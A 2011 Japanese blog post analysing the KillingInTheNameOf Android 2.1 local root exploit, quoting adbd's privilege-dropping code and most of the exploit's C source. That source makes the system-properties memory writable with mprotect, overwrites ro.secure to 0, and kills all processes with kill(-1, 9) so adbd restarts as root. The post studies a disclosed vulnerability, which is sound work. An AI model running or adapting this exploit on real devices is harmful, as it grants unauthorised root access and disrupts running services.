2011/05/06

KillingInTheNameOf

adbd の脆弱性を突く1つのの手法である KillingInTheNameOf について調べてみた。KillingInTheNameOf は、Android 2.1 で実行可能で、一部の Android 2.2.1 の機種では対策されている模様。

例によって adbd のソースコードから見ていく。

    property_get("ro.kernel.qemu", value, "");
    if (strcmp(value, "1") != 0) {
        property_get("ro.secure", value, "");
        if (strcmp(value, "1") == 0) {
            // don't run as root if ro.secure is set...
            secure = 1;

            // ... except we allow running as root in userdebug builds if the 
            // service.adb.root property has been set by the "adb root" command
            property_get("ro.debuggable", value, "");
            if (strcmp(value, "1") == 0) {
                property_get("service.adb.root", value, "");
                if (strcmp(value, "1") == 0) {
                    secure = 0;
                }
            }
        }
    }

    /* don't listen on port 5037 if we are running in secure mode */
    /* don't run as root if we are running in secure mode */
    if (secure) {
        struct __user_cap_header_struct header;
        struct __user_cap_data_struct cap;

        prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0);

        /* add extra groups:
        ** AID_ADB to access the USB driver
        ** AID_LOG to read system logs (adb logcat)
        ** AID_INPUT to diagnose input issues (getevent)
        ** AID_INET to diagnose network issues (netcfg, ping)
        ** AID_GRAPHICS to access the frame buffer
        ** AID_NET_BT and AID_NET_BT_ADMIN to diagnose bluetooth (hcidump)
        ** AID_SDCARD_RW to allow writing to the SD card
        ** AID_MOUNT to allow unmounting the SD card before rebooting
        */
        gid_t groups[] = { AID_ADB, AID_LOG, AID_INPUT, AID_INET, AID_GRAPHICS,
                           AID_NET_BT, AID_NET_BT_ADMIN, AID_SDCARD_RW, AID_MOUNT };
        setgroups(sizeof(groups)/sizeof(groups[0]), groups);

        /* then switch user and group to "shell" */
        setgid(AID_SHELL);
        setuid(AID_SHELL);

ポイントは、865~868行目と、884行目以降。ro.secure というプロパティの値が 1 の場合、884行目以降の処理が行われ、905~906行目で adbd のプロセスの GID と UID が変更されてしまい、root 権限から降格される。つまり、ro.secure が 1 でなければ adbd の権限は降格されず、root のままになる。
ここで問題となるのが、ro.secure の値を取得している property_get()である。property_get() は property_service.c で定義されている。property_service は ashmem (Anonymous Shared Memory) を用いて実装されていて、/dev/ashmem/ を指すファイルディスクリプタを使用している。

参考までに、メモリマップの内容は以下の通り。
$ cat /proc/self/maps
cat /proc/self/maps
00008000-0001b000 r-xp 00000000 8a:09 275565 /system/bin/toolbox
0001b000-0001c000 rwxp 00013000 8a:09 275565 /system/bin/toolbox
0001c000-00022000 rwxp 00000000 00:00 0 [heap]
40000000-40008000 r-xs 00000000 00:04 1359 /dev/ashmem/system_properties (deleted)
(後略)

次に KillingInTheNameOf のソースコードを見ていく。
char *find_prop_area()
{
    char buf[256];
    char *val = NULL;

    FILE *f = fopen("/proc/self/maps", "r");
    if (!f)
        die("[-] fopen");
    for (;!feof(f);) {
        if (!fgets(buf, sizeof(buf), f))
            break;
        if (strstr(buf, "system_properties") != NULL) {
            val = strchr(buf, '-');
            if (!val)
                break;
            *val = 0;
            val = (char *)strtoul(buf, NULL, 16);
            break;
        }
    }
    fclose(f);
    return val;
}


void restart_adb()
{
    kill(-1, 9);
}


int main(int argc, char **argv)
{
    char *prop = NULL;
    struct prop_info *pi = NULL;
    struct prop_area *pa = NULL;


    printf("[*] CVE-2010-743C Android local root exploit (C) 2010 743C\n");
    printf("[*] The Android Exploid Crew Gentlemens club - dominating robots since 2008.\n\n");
    printf("[*] Donate to 7-4-3-C@web.de if you like\n\n");

    sleep(3);

    prop = find_prop_area();

    if (!prop)
        die("[-] Cannot find prop area");

    printf("[+] Found prop area @ %p\n", prop);
    if (mprotect(prop, PA_SIZE, PROT_READ|PROT_WRITE) < 0)
        die("[-] mprotect");

    pi = (struct prop_info *)(prop + PA_INFO_START);
    pa = (struct prop_area *)prop;

    while (pa->count--) {
        printf("[*] %s: %s\n", pi->name, pi->value);
        if (strcmp(pi->name, "ro.secure") == 0) {
            strcpy(pi->value, "0");
            printf("[+] ro.secure resetted to 0\n");
            break;
        }
        ++pi;
    }
    printf("[*] Restarting adb. Please reconnect for rootshell (adb kill-server; adb -d shell).\n");
    fflush(stdout); sleep(2);
    restart_adb();
    return 0;
}

56行目からの find_prop_area() では、/proc/self/maps の内容から /dev/ashmem/system_properties の割り当てられているメモリ領域の先頭アドレス(40000000)を取得している。106行目の mprotect() で、取得した領域から PA_SIZE(32768)バイト分のアクセス保護を読み書き可能に変更する。ここであっさりとアクセス保護が変更できてしまうため(脆弱性)、後は ro.secure というプロパティが定義されているか探して、値を 0 に変更しているのが 112~120行目の部分となっている。
ro.secure の値を変更したら、最後に KillingInTheNameOf を実行している adbd の権限で kill 可能な全てのプロセスを kill しておしまい(ちょっと横暴)。後は勝手に init が adbd を再起動してくれるので、adbd の起動プロセスで ro.secure が 0 であることを検知して root 権限のまま adbd が起動する。

0 件のコメント:

コメントを投稿